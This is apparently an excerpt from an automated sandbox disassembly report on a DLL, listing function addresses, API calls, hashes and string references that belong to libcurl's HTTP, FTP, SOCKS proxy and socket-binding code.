Opcode Fuzzy Hash: fea6b7e79df37b2ffaf56218ff71ab444ebea1fe4eac95b0eebf2ed6cec7a598
Instruction Fuzzy Hash: 76C0123241820CABDB011A20EC06B993B99EB5029CF208066F50C040749F3AD5A1D584

Function 6B8FA660 Relevance: 1.5, APIs: 1, Instructions: 13COMMON

Download Yara Rule

APIs

ioctlsocket.WS2_32(00000000,8004667E,6B8D4554), ref: 6B8FA67A

Memory Dump Source

Source File: 0000000A.00000002.2996515029.000000006B8D1000.00000020.00000001.01000000.00000017.sdmp, Offset: 6B8D0000, based on PE: true

Associated: 0000000A.00000002.2996472368.000000006B8D0000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000A.00000002.2997000852.000000006B93B000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000A.00000002.2997178701.000000006B951000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000A.00000002.2997269858.000000006B954000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_6b8d0000_ast.jbxd

Similarity

API ID: ioctlsocket
String ID:
API String ID: 3577187118-0
Opcode ID: 0ad70b1a8a426fe98decb3ca19e9b73d0b287f18b6c4cf3d93f575451d3d2d09
Instruction ID: 57a19dd688cbedb9dcc2666c68fe9e3fed8c4e3fe4f8ae432a5b7272833d5466
Opcode Fuzzy Hash: 0ad70b1a8a426fe98decb3ca19e9b73d0b287f18b6c4cf3d93f575451d3d2d09
Instruction Fuzzy Hash: 0BD0CA3240020CFFCB00AEB1C8048DA7BADEB04225B00C03AB9198A020EA34EA60DF84

Function 6B9280B5 Relevance: 1.5, APIs: 1, Instructions: 11COMMONLIBRARYCODE

Download Yara Rule

APIs

_free.LIBCMT ref: 6B9280C8

Part of subcall function 6B92F7EA: RtlFreeHeap.NTDLL(00000000,00000000,?,6B935EE0,6B9538A0,00000000,6B9538A0,00000000,?,6B935F07,6B9538A0,00000007,6B9538A0,?,6B93532A,6B9538A0), ref: 6B92F800
Part of subcall function 6B92F7EA: GetLastError.KERNEL32(6B9538A0,?,6B935EE0,6B9538A0,00000000,6B9538A0,00000000,?,6B935F07,6B9538A0,00000007,6B9538A0,?,6B93532A,6B9538A0,6B9538A0), ref: 6B92F812

Memory Dump Source

Source File: 0000000A.00000002.2996515029.000000006B8D1000.00000020.00000001.01000000.00000017.sdmp, Offset: 6B8D0000, based on PE: true

Associated: 0000000A.00000002.2996472368.000000006B8D0000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000A.00000002.2997000852.000000006B93B000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000A.00000002.2997178701.000000006B951000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000A.00000002.2997269858.000000006B954000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_6b8d0000_ast.jbxd

Similarity

API ID: ErrorFreeHeapLast_free
String ID:
API String ID: 1353095263-0
Opcode ID: dd3f656dcbf88fecb6cdb2bd3514b2d306074cae23e660cbfa2099e7d0299107
Instruction ID: 3ac6a99c47074e0bb6a6f8f7ca55df66d54d3f8b33be70e7986ebb5af7a00407
Opcode Fuzzy Hash: dd3f656dcbf88fecb6cdb2bd3514b2d306074cae23e660cbfa2099e7d0299107
Instruction Fuzzy Hash: 93C08C31800208FBDB008B51D806F4E7BA8EB8026CF200044E40417250CBB1EE009680

Non-executed Functions

Function 6B8E8A80 Relevance: 168.3, APIs: 25, Strings: 70, Instructions: 2020COMMON

Download Yara Rule

APIs

curl_maprintf.LIBCURL(%s?%s,?,?), ref: 6B8E8C68

Strings

Failed sending PUT request, xrefs: 6B8E9F2D
Content-Length, xrefs: 6B8E9E87, 6B8EA014, 6B8EA1E8
Host: %s%s%s, xrefs: 6B8E9277
%s%s=%s, xrefs: 6B8E9C02
Accept: */*, xrefs: 6B8E9494
ftp, xrefs: 6B8E93AC
ftp://%s:%s@%s, xrefs: 6B8E98E2
Content-Range, xrefs: 6B8E973D
Last-Modified, xrefs: 6B8E9D63
0, xrefs: 6B8EA3D0, 6B8EA4BC
upload completely sent off: %I64d out of %I64d bytes, xrefs: 6B8EA6AE
If-Unmodified-Since, xrefs: 6B8E9D6A, 6B8E9D76
PUT, xrefs: 6B8E8C04
If-Modified-Since, xrefs: 6B8E9D71, 6B8E9DBE
Failed sending HTTP request, xrefs: 6B8EA5F5, 6B8EA5FA
Proxy-Connection: Keep-Alive, xrefs: 6B8E994F
Invalid TIMEVALUE, xrefs: 6B8E9D23
Host:%s, xrefs: 6B8E91FD
Cookie: , xrefs: 6B8E9BC6, 6B8E9C6B
Content-Type: application/x-www-form-urlencoded, xrefs: 6B8EA235
Proxy-Connection, xrefs: 6B8E9941
Content-Length: %I64d, xrefs: 6B8E9EA6, 6B8EA034, 6B8EA207
Accept-Encoding, xrefs: 6B8E8E90
Content-Range: bytes %s/%I64d, xrefs: 6B8E97D8
Expect:, xrefs: 6B8EA0A8, 6B8EA262
Cookie, xrefs: 6B8E8E72
chunked, xrefs: 6B8E9013
Content-Length: 0, xrefs: 6B8E9F7A
Expect, xrefs: 6B8EA091, 6B8EA24B
1.1, xrefs: 6B8E9823
User-Agent, xrefs: 6B8E8C1A
?%s, xrefs: 6B8E9917
HEAD, xrefs: 6B8E8BDD
Accept, xrefs: 6B8E947E
GET, xrefs: 6B8E8C10
Failed sending HTTP POST request, xrefs: 6B8EA55D, 6B8EA562
Referer: %s, xrefs: 6B8E8E32
Range: bytes=%s, xrefs: 6B8E9717
Chunky upload is not supported by HTTP 1.0, xrefs: 6B8E90C1
1.0, xrefs: 6B8E9828
File already completely uploaded, xrefs: 6B8E968C
Host: %s%s%s:%d, xrefs: 6B8E92AC
Transfer-Encoding:, xrefs: 6B8E9018
Could not seek stream, xrefs: 6B8E9560
Content-Range: bytes 0-%I64d/%I64d, xrefs: 6B8E978C
%s, xrefs: 6B8EA068
Content-Type, xrefs: 6B8E8F50, 6B8EA21D
multipart/form-data, xrefs: 6B8E8F8A, 6B8E8FA7
Content-Range: bytes %s%I64d/%I64d, xrefs: 6B8E97C6
Could only read %I64d bytes from the input, xrefs: 6B8E96B2
%s?%s, xrefs: 6B8E8C63
Failed sending POST request, xrefs: 6B8E9FB9, 6B8E9FBE, 6B8EA172
%s HTTP/%s%s%s%s%s%s%s%s%s%s%s%s%s, xrefs: 6B8E9A9E
Host, xrefs: 6B8E90F8
Transfer-Encoding: chunked, xrefs: 6B8E90AC
;type=, xrefs: 6B8E93D4
http, xrefs: 6B8E9340
Referer, xrefs: 6B8E8E1A
100-continue, xrefs: 6B8EA0A3, 6B8EA25D
;type=%c, xrefs: 6B8E9450
%s%s, xrefs: 6B8E9CA6
Accept-Encoding: %s, xrefs: 6B8E8EC6
Host:, xrefs: 6B8E91C8
/, xrefs: 6B8E9436
Transfer-Encoding, xrefs: 6B8E9001
%s , xrefs: 6B8E9853
%x, xrefs: 6B8EA359
POST, xrefs: 6B8E8BF8
Range, xrefs: 6B8E96F3
%s: %s, %02d %s %4d %02d:%02d:%02d GMT, xrefs: 6B8E9DBF

Memory Dump Source

Source File: 0000000A.00000002.2996515029.000000006B8D1000.00000020.00000001.01000000.00000017.sdmp, Offset: 6B8D0000, based on PE: true

Associated: 0000000A.00000002.2996472368.000000006B8D0000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000A.00000002.2997000852.000000006B93B000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000A.00000002.2997178701.000000006B951000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000A.00000002.2997269858.000000006B954000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_6b8d0000_ast.jbxd

Similarity

API ID: curl_maprintf
String ID: %s$%s $%s HTTP/%s%s%s%s%s%s%s%s%s%s%s%s%s$%s%s$%s%s=%s$%s: %s, %02d %s %4d %02d:%02d:%02d GMT$%s?%s$%x$/$0$1.0$1.1$100-continue$;type=$;type=%c$?%s$Accept$Accept-Encoding$Accept-Encoding: %s$Accept: */*$Chunky upload is not supported by HTTP 1.0$Content-Length$Content-Length: %I64d$Content-Length: 0$Content-Range$Content-Range: bytes %s%I64d/%I64d$Content-Range: bytes %s/%I64d$Content-Range: bytes 0-%I64d/%I64d$Content-Type$Content-Type: application/x-www-form-urlencoded$Cookie$Cookie: $Could not seek stream$Could only read %I64d bytes from the input$Expect$Expect:$Failed sending HTTP POST request$Failed sending HTTP request$Failed sending POST request$Failed sending PUT request$File already completely uploaded$GET$HEAD$Host$Host:$Host: %s%s%s$Host: %s%s%s:%d$Host:%s$If-Modified-Since$If-Unmodified-Since$Invalid TIMEVALUE$Last-Modified$POST$PUT$Proxy-Connection$Proxy-Connection: Keep-Alive$Range$Range: bytes=%s$Referer$Referer: %s$Transfer-Encoding$Transfer-Encoding:$Transfer-Encoding: chunked$User-Agent$chunked$ftp$ftp://%s:%s@%s$http$multipart/form-data$upload completely sent off: %I64d out of %I64d bytes
API String ID: 3307269620-2642765789
Opcode ID: 635b81982939b7aa517aa9a80ec2f524593ae58b232834d4c33686d276a1fd00
Instruction ID: 84f98f29113028db1afbb6bc84ff1bd5bf36c3dd0ee661e6de23d2355596ae91
Opcode Fuzzy Hash: 635b81982939b7aa517aa9a80ec2f524593ae58b232834d4c33686d276a1fd00
Instruction Fuzzy Hash: 8EF20675E04619ABEB118B34CC41BDAB7B5BF06308F0045E9E81CA7242E779E995CFB1

Function 6B8DEEA0 Relevance: 63.7, APIs: 23, Strings: 13, Instructions: 663networkCOMMON

Download Yara Rule

APIs

___from_strstr_to_strchr.LIBCMT ref: 6B8DEFA1
_strncpy.LIBCMT ref: 6B8DEFC7
___from_strstr_to_strchr.LIBCMT ref: 6B8DEFE8
inet_pton.WS2_32(00000017,?,?), ref: 6B8DF006
___from_strstr_to_strchr.LIBCMT ref: 6B8DF078
___from_strstr_to_strchr.LIBCMT ref: 6B8DF0A9
curl_pushheader_bynum.LIBCURL(?,00000000,00000401), ref: 6B8DF135
getsockname.WS2_32(?,?,?), ref: 6B8DF1CC
WSAGetLastError.WS2_32(?,00000100), ref: 6B8DF1E2
WSAGetLastError.WS2_32 ref: 6B8DF2ED
bind.WS2_32(FFFFFFFF,00000017,00000080), ref: 6B8DF396
WSAGetLastError.WS2_32 ref: 6B8DF3A4
getsockname.WS2_32(?,00000017,00000080), ref: 6B8DF407
WSAGetLastError.WS2_32(?,00000100), ref: 6B8DF452

Part of subcall function 6B90A0E0: GetLastError.KERNEL32(?,?,00000100), ref: 6B90A0E7

Part of subcall function 6B9005D0: curl_mvsnprintf.LIBCURL(?,00000100,6B8FC830,?), ref: 6B900610

Strings

socket failure: %s, xrefs: 6B8DF325, 6B8DF542
%s %s, xrefs: 6B8DF68B
Failure sending EPRT command: %s, xrefs: 6B8DF72D
failed to resolve the address provided to PORT: %s, xrefs: 6B8DF798
EPRT, xrefs: 6B8DF703
bind(port=%hu) failed: %s, xrefs: 6B8DF495
Failure sending PORT command: %s, xrefs: 6B8DF6B0
%s |%d|%s|%hu|, xrefs: 6B8DF70E
PORT, xrefs: 6B8DF686
getsockname() failed: %s, xrefs: 6B8DF1EF, 6B8DF45F, 6B8DF507
bind(port=%hu) on non-local address failed: %s, xrefs: 6B8DF3DB
,%d,%d, xrefs: 6B8DF66C
bind() failed, we ran out of ports!, xrefs: 6B8DF773

Memory Dump Source

Source File: 0000000A.00000002.2996515029.000000006B8D1000.00000020.00000001.01000000.00000017.sdmp, Offset: 6B8D0000, based on PE: true

Associated: 0000000A.00000002.2996472368.000000006B8D0000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000A.00000002.2997000852.000000006B93B000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000A.00000002.2997178701.000000006B951000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000A.00000002.2997269858.000000006B954000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_6b8d0000_ast.jbxd

Similarity

API ID: ErrorLast$___from_strstr_to_strchr$getsockname$_strncpybindcurl_mvsnprintfcurl_pushheader_bynuminet_pton
String ID: %s %s$%s |%d|%s|%hu|$,%d,%d$EPRT$Failure sending EPRT command: %s$Failure sending PORT command: %s$PORT$bind() failed, we ran out of ports!$bind(port=%hu) failed: %s$bind(port=%hu) on non-local address failed: %s$failed to resolve the address provided to PORT: %s$getsockname() failed: %s$socket failure: %s
API String ID: 1437543408-2383553807
Opcode ID: 4cbb643a3f299ec0eec4fff7a16c45883ae3b8c4b87cc4e624573230a98e77a4
Instruction ID: 61340e39c4d90db268be3b6bd9d646a83cabbd9e708e7166d6101ac1712e6219
Opcode Fuzzy Hash: 4cbb643a3f299ec0eec4fff7a16c45883ae3b8c4b87cc4e624573230a98e77a4
Instruction Fuzzy Hash: 1032C671D4452DABDF209F34CC41BEEB7BAAF55304F0445EAE849A3140DB3ADA919FA0

Function 6B9075D0 Relevance: 56.9, APIs: 1, Strings: 31, Instructions: 939COMMON

Download Yara Rule

Strings

SOCKS5 GSS-API protection not yet implemented., xrefs: 6B90802E
Unable to send initial SOCKS5 request., xrefs: 6B9078B0
SOCKS5 request granted., xrefs: 6B908259
SOCKS5 GSSAPI per-message authentication is not supported., xrefs: 6B907A2F
SOCKS5 connect to IPv6 %s (locally resolved), xrefs: 6B907EB5
Unable to receive initial SOCKS5 response., xrefs: 6B907861
Connection to proxy closed, xrefs: 6B90790D
Failed to send SOCKS5 sub-negotiation request., xrefs: 6B907BA7
Excessive user name length for proxy auth, xrefs: 6B907AC3
Failed to resolve "%s" for SOCKS5 connect., xrefs: 6B907F06
Failed to send SOCKS5 connect request., xrefs: 6B907FED
Unable to receive SOCKS5 sub-negotiation response., xrefs: 6B907C2C
unknown, xrefs: 6B90760C
:%d, xrefs: 6B907D63
connection to proxy closed, xrefs: 6B90821A
SOCKS5 connection to %s not supported, xrefs: 6B907EDE
Undocumented SOCKS5 mode attempted to be used by server., xrefs: 6B907A7B
warning: unsupported value passed to CURLOPT_SOCKS5_AUTH: %lu, xrefs: 6B907737
Failed to receive SOCKS5 connect request ack., xrefs: 6B90809F, 6B9081CE
SOCKS5: connecting to HTTP proxy %s port %d, xrefs: 6B9076ED
Can't complete SOCKS5 connection to %s. (%d), xrefs: 6B908118
User was rejected by the SOCKS5 server (%d %d)., xrefs: 6B907C75
SOCKS5: server resolving disabled for hostnames of length > 255 [actual len=%zu], xrefs: 6B907712
Excessive password length for proxy auth, xrefs: 6B907B23
No authentication method was acceptable., xrefs: 6B907A57
SOCKS5 reply has wrong version, version should be 5., xrefs: 6B9080DE
SOCKS5 reply has wrong address type., xrefs: 6B9081F2
Received invalid version in initial SOCKS5 response., xrefs: 6B907940
SOCKS5 connect to IPv4 %s (locally resolved), xrefs: 6B907DD3
SOCKS5 connect to %s:%d (remotely resolved), xrefs: 6B907F70
Unable to negotiate SOCKS5 GSS-API context., xrefs: 6B907A0B

Memory Dump Source

Source File: 0000000A.00000002.2996515029.000000006B8D1000.00000020.00000001.01000000.00000017.sdmp, Offset: 6B8D0000, based on PE: true

Associated: 0000000A.00000002.2996472368.000000006B8D0000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000A.00000002.2997000852.000000006B93B000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000A.00000002.2997178701.000000006B951000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000A.00000002.2997269858.000000006B954000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_6b8d0000_ast.jbxd

Similarity

API ID: curl_mvsnprintf$curl_msnprintf
String ID: :%d$Can't complete SOCKS5 connection to %s. (%d)$Connection to proxy closed$Excessive password length for proxy auth$Excessive user name length for proxy auth$Failed to receive SOCKS5 connect request ack.$Failed to resolve "%s" for SOCKS5 connect.$Failed to send SOCKS5 connect request.$Failed to send SOCKS5 sub-negotiation request.$No authentication method was acceptable.$Received invalid version in initial SOCKS5 response.$SOCKS5 GSS-API protection not yet implemented.$SOCKS5 GSSAPI per-message authentication is not supported.$SOCKS5 connect to %s:%d (remotely resolved)$SOCKS5 connect to IPv4 %s (locally resolved)$SOCKS5 connect to IPv6 %s (locally resolved)$SOCKS5 connection to %s not supported$SOCKS5 reply has wrong address type.$SOCKS5 reply has wrong version, version should be 5.$SOCKS5 request granted.$SOCKS5: connecting to HTTP proxy %s port %d$SOCKS5: server resolving disabled for hostnames of length > 255 [actual len=%zu]$Unable to negotiate SOCKS5 GSS-API context.$Unable to receive SOCKS5 sub-negotiation response.$Unable to receive initial SOCKS5 response.$Unable to send initial SOCKS5 request.$Undocumented SOCKS5 mode attempted to be used by server.$User was rejected by the SOCKS5 server (%d %d).$connection to proxy closed$unknown$warning: unsupported value passed to CURLOPT_SOCKS5_AUTH: %lu
API String ID: 2260702874-704893380
Opcode ID: 4a46837cb7bf10bec7b869433506ca855dfacf4046d1e419168b83d601384954
Instruction ID: b39d9c27c552b45563b718dc5aea21f726707e8623a6f3d9efef2169a176017d
Opcode Fuzzy Hash: 4a46837cb7bf10bec7b869433506ca855dfacf4046d1e419168b83d601384954
Instruction Fuzzy Hash: 8562F371A042189BDB25CF28DC817EEBBB5EF56318F0040EED84E97241DB3AD994DB61

Function 6B8D39A0 Relevance: 37.1, APIs: 13, Strings: 8, Instructions: 395networkCOMMON

Download Yara Rule

APIs

curl_pushheader_bynum.LIBCURL(?,?,?,?,?,00000100,?,?,?,?,?,?,?,?,?,?), ref: 6B8D3AC2
inet_pton.WS2_32(00000017,?,?), ref: 6B8D3BA2
htons.WS2_32(?), ref: 6B8D3BB9
inet_pton.WS2_32(00000002,?,?), ref: 6B8D3CED
htons.WS2_32(?), ref: 6B8D3D08

Part of subcall function 6B9006B0: curl_mvsnprintf.LIBCURL(?,00000801,00000000,6B8F6C24), ref: 6B9006EF
Part of subcall function 6B9006B0: curl_msnprintf.LIBCURL(?,00000004,...,?,?,?,00000E20), ref: 6B90072F

bind.WS2_32(?,?,00000000), ref: 6B8D3DAF
htons.WS2_32(?), ref: 6B8D3DE9
bind.WS2_32(?,?,00000000), ref: 6B8D3E02
getsockname.WS2_32(?,?,00000080), ref: 6B8D3E3D
WSAGetLastError.WS2_32 ref: 6B8D3E4B
WSAGetLastError.WS2_32 ref: 6B8D3E91

Strings

Couldn't bind to '%s', xrefs: 6B8D3D26
Couldn't bind to interface '%s', xrefs: 6B8D3BE4
Local port: %hu, xrefs: 6B8D3EDB
Bind to local port %hu failed, trying next, xrefs: 6B8D3DD9
getsockname() failed with errno %d: %s, xrefs: 6B8D3E6D
Name '%s' family %i resolved to '%s' family %i, xrefs: 6B8D3C90
Local Interface %s is ip %s using address family %i, xrefs: 6B8D3B78
bind failed with errno %d: %s, xrefs: 6B8D3EB3

Memory Dump Source

Source File: 0000000A.00000002.2996515029.000000006B8D1000.00000020.00000001.01000000.00000017.sdmp, Offset: 6B8D0000, based on PE: true

Associated: 0000000A.00000002.2996472368.000000006B8D0000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000A.00000002.2997000852.000000006B93B000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000A.00000002.2997178701.000000006B951000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000A.00000002.2997269858.000000006B954000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_6b8d0000_ast.jbxd

Similarity

API ID: htons$ErrorLastbindinet_pton$curl_msnprintfcurl_mvsnprintfcurl_pushheader_bynumgetsockname
String ID: Bind to local port %hu failed, trying next$Couldn't bind to '%s'$Couldn't bind to interface '%s'$Local Interface %s is ip %s using address family %i$Local port: %hu$Name '%s' family %i resolved to '%s' family %i$bind failed with errno %d: %s$getsockname() failed with errno %d: %s
API String ID: 2165106075-2769131373
Opcode ID: e5ee8dc82562d6822aa3ab6fd6d74a8db0a1221160218cc1904ec149faaa595c
Instruction ID: a3a042c5d6a6efa7f4cf2d964fbe6897c684f83137578f3470007a97ae219b80
Opcode Fuzzy Hash: e5ee8dc82562d6822aa3ab6fd6d74a8db0a1221160218cc1904ec149faaa595c
Instruction Fuzzy Hash: D8E1B075A04119AFDB20DF24CC89BEA77B8EF16348F0045EAE90DD7241EB399E459F60

Function 6B906F40 Relevance: 33.8, APIs: 1, Strings: 18, Instructions: 550COMMON

Download Yara Rule

Strings

connection to proxy closed, xrefs: 6B9073BA
SOCKS4%s request granted., xrefs: 6B90744B
Hostname '%s' was found, xrefs: 6B907113
SOCKS4 reply has wrong version, version should be 0., xrefs: 6B907403
Can't complete SOCKS4 connection to %d.%d.%d.%d:%d. (%d), request rejected because SOCKS server cannot connect to identd on the client., xrefs: 6B9074DC
Can't complete SOCKS4 connection to %d.%d.%d.%d:%d. (%d), Unknown., xrefs: 6B90756A
Failed to send SOCKS4 connect request., xrefs: 6B9072D1
SOCKS4: Failed receiving connect request ack: %s, xrefs: 6B907392
SOCKS4 connect to IPv4 %s (locally resolved), xrefs: 6B907188
SOCKS4: too long host name, xrefs: 6B9072F5
Too long SOCKS proxy user name, can't use!, xrefs: 6B9070C9
Can't complete SOCKS4 connection to %d.%d.%d.%d:%d. (%d), request rejected or failed., xrefs: 6B907495
SOCKS4 non-blocking resolve of %s, xrefs: 6B907064
SOCKS4%s: connecting to HTTP proxy %s port %d, xrefs: 6B906FF6
SOCKS4 communication to %s:%d, xrefs: 6B90700A
Failed to resolve "%s" for SOCKS4 connect., xrefs: 6B9071FD
SOCKS4 connection to %s not supported, xrefs: 6B9071D6
Can't complete SOCKS4 connection to %d.%d.%d.%d:%d. (%d), request rejected because the client program and identd report different user-ids., xrefs: 6B907523

Memory Dump Source

Source File: 0000000A.00000002.2996515029.000000006B8D1000.00000020.00000001.01000000.00000017.sdmp, Offset: 6B8D0000, based on PE: true

Associated: 0000000A.00000002.2996472368.000000006B8D0000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000A.00000002.2997000852.000000006B93B000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000A.00000002.2997178701.000000006B951000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000A.00000002.2997269858.000000006B954000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_6b8d0000_ast.jbxd

Similarity

API ID: curl_mvsnprintf
String ID: Can't complete SOCKS4 connection to %d.%d.%d.%d:%d. (%d), Unknown.$Can't complete SOCKS4 connection to %d.%d.%d.%d:%d. (%d), request rejected because SOCKS server cannot connect to identd on the client.$Can't complete SOCKS4 connection to %d.%d.%d.%d:%d. (%d), request rejected because the client program and identd report different user-ids.$Can't complete SOCKS4 connection to %d.%d.%d.%d:%d. (%d), request rejected or failed.$Failed to resolve "%s" for SOCKS4 connect.$Failed to send SOCKS4 connect request.$Hostname '%s' was found$SOCKS4 communication to %s:%d$SOCKS4 connect to IPv4 %s (locally resolved)$SOCKS4 connection to %s not supported$SOCKS4 non-blocking resolve of %s$SOCKS4 reply has wrong version, version should be 0.$SOCKS4%s request granted.$SOCKS4%s: connecting to HTTP proxy %s port %d$SOCKS4: Failed receiving connect request ack: %s$SOCKS4: too long host name$Too long SOCKS proxy user name, can't use!$connection to proxy closed
API String ID: 3418963191-1991471026
Opcode ID: f25b1a98523d9fb3b5aa077235980aa6498fdea8ed1e302a093094b333534229
Instruction ID: 055e79df840631986c1f95aacfb6465c27ac92f8c2294ecdd1786c57005b5ef1
Opcode Fuzzy Hash: f25b1a98523d9fb3b5aa077235980aa6498fdea8ed1e302a093094b333534229
Instruction Fuzzy Hash: F1120571A042089FDB10CFB89851BBEFBF9EF55318F0481AEE85A96281DB3DE514C760

Function 6B8E3A10 Relevance: 30.2, APIs: 9, Strings: 8, Instructions: 449COMMON

Download Yara Rule

APIs

curl_getenv.LIBCURL(NO_PROXY,00000000), ref: 6B8E3B74

Part of subcall function 6B8E4770: curl_url.LIBCURL(00000000,00000000,6B8E2F71), ref: 6B8E478E
Part of subcall function 6B8E4770: curl_url_set.LIBCURL(00000000,00000000,00000000,00000208,00000000,00000000,6B8E2F71), ref: 6B8E47A6
Part of subcall function 6B8E4770: curl_url_get.LIBCURL(6B8E2F71,00000001,00000000,00000000,?,00000000,00000000,6B8E2F71), ref: 6B8E47C0
Part of subcall function 6B8E4770: curl_url_cleanup.LIBCURL(6B8E2F71,?,?,?,?,00000000,00000000,6B8E2F71), ref: 6B8E4A84

curl_getenv.LIBCURL(no_proxy), ref: 6B8E3B5C

Part of subcall function 6B8E6310: GetEnvironmentVariableA.KERNEL32(?,00000000,00000001), ref: 6B8E633A

___from_strstr_to_strchr.LIBCMT ref: 6B8E3BF7
___from_strstr_to_strchr.LIBCMT ref: 6B8E3C4D
___from_strstr_to_strchr.LIBCMT ref: 6B8E3C80
curl_getenv.LIBCURL(?), ref: 6B8E3D7B
curl_getenv.LIBCURL(?,?,?,00000080,?,?,00000000), ref: 6B8E3DC0
curl_getenv.LIBCURL(all_proxy,00000000), ref: 6B8E3DE0
curl_getenv.LIBCURL(ALL_PROXY,?,00000000), ref: 6B8E3DFA

Strings

all_proxy, xrefs: 6B8E3DDA, 6B8E3DDF
http_proxy, xrefs: 6B8E3D96
memory shortage, xrefs: 6B8E3AFF, 6B8E3B37
_proxy, xrefs: 6B8E3D5B
no_proxy, xrefs: 6B8E3B56, 6B8E3B5B
Uses proxy env variable %s == '%s', xrefs: 6B8E3B88, 6B8E3E10
NO_PROXY, xrefs: 6B8E3B6E, 6B8E3B73, 6B8E3B87
ALL_PROXY, xrefs: 6B8E3DF4, 6B8E3DF9, 6B8E3E0F

Memory Dump Source

Source File: 0000000A.00000002.2996515029.000000006B8D1000.00000020.00000001.01000000.00000017.sdmp, Offset: 6B8D0000, based on PE: true

Associated: 0000000A.00000002.2996472368.000000006B8D0000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000A.00000002.2997000852.000000006B93B000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000A.00000002.2997178701.000000006B951000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000A.00000002.2997269858.000000006B954000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_6b8d0000_ast.jbxd

Similarity

API ID: curl_getenv$___from_strstr_to_strchr$EnvironmentVariablecurl_urlcurl_url_cleanupcurl_url_getcurl_url_set
String ID: ALL_PROXY$NO_PROXY$Uses proxy env variable %s == '%s'$_proxy$all_proxy$http_proxy$memory shortage$no_proxy
API String ID: 3877414117-1021110354
Opcode ID: 5ba806d95e6ed1c3da3819204bc50d2b018e04b91f9c4d614ad1cf2d047eaf6d
Instruction ID: b54e90d8856ff3e0bb8f9cf02c7ce9eb971a4c5e7f6bb94e4697892d90b7f96d
Opcode Fuzzy Hash: 5ba806d95e6ed1c3da3819204bc50d2b018e04b91f9c4d614ad1cf2d047eaf6d
Instruction Fuzzy Hash: AB02B475D046659BDF228F248C41B9A7BB4AF43704F0844E9DC4CAB212DB399E86CFB1

Function 6B90AE50 Relevance: 29.9, APIs: 12, Strings: 5, Instructions: 164libraryloadernetworkCOMMON

Download Yara Rule

APIs

WSAStartup.WS2_32(00000202,?), ref: 6B90AE75
WSACleanup.WS2_32 ref: 6B90AE90
GetModuleHandleA.KERNEL32(kernel32,?,?), ref: 6B90AEBF
GetProcAddress.KERNEL32(00000000,LoadLibraryExA), ref: 6B90AEDD
_strpbrk.LIBCMT ref: 6B90AEEF
LoadLibraryA.KERNEL32(iphlpapi.dll,?,?), ref: 6B90AF16
GetProcAddress.KERNEL32(00000000,AddDllDirectory), ref: 6B90AF2D
GetSystemDirectoryA.KERNEL32(00000000,00000000), ref: 6B90AF50
GetSystemDirectoryA.KERNEL32(00000000,?), ref: 6B90AF7E
LoadLibraryA.KERNEL32(00000000,?,?,?), ref: 6B90AFDB
GetProcAddress.KERNEL32(00000000,if_nametoindex), ref: 6B90AFFE
QueryPerformanceFrequency.KERNEL32(6B953B50,?,?,?,?,?,?), ref: 6B90B033

Strings

if_nametoindex, xrefs: 6B90AFF8
kernel32, xrefs: 6B90AEB8
AddDllDirectory, xrefs: 6B90AF27
iphlpapi.dll, xrefs: 6B90AEE8, 6B90AF03, 6B90AF11, 6B90AF3E, 6B90AFB0
LoadLibraryExA, xrefs: 6B90AED7

Memory Dump Source

Source File: 0000000A.00000002.2996515029.000000006B8D1000.00000020.00000001.01000000.00000017.sdmp, Offset: 6B8D0000, based on PE: true

Associated: 0000000A.00000002.2996472368.000000006B8D0000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000A.00000002.2997000852.000000006B93B000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000A.00000002.2997178701.000000006B951000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000A.00000002.2997269858.000000006B954000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_6b8d0000_ast.jbxd

Similarity

API ID: AddressProc$DirectoryLibraryLoadSystem$CleanupFrequencyHandleModulePerformanceQueryStartup_strpbrk
String ID: AddDllDirectory$LoadLibraryExA$if_nametoindex$iphlpapi.dll$kernel32
API String ID: 945793807-2794540096
Opcode ID: 7f1fd6d46fd02ddcfb91c841bcb4f20df6523fd6434815af444582d422105b27
Instruction ID: ac98e4b7edf73b2050799d98a9f11b2d7ded8e8304dc23d3eaf3e6ac4cffb167
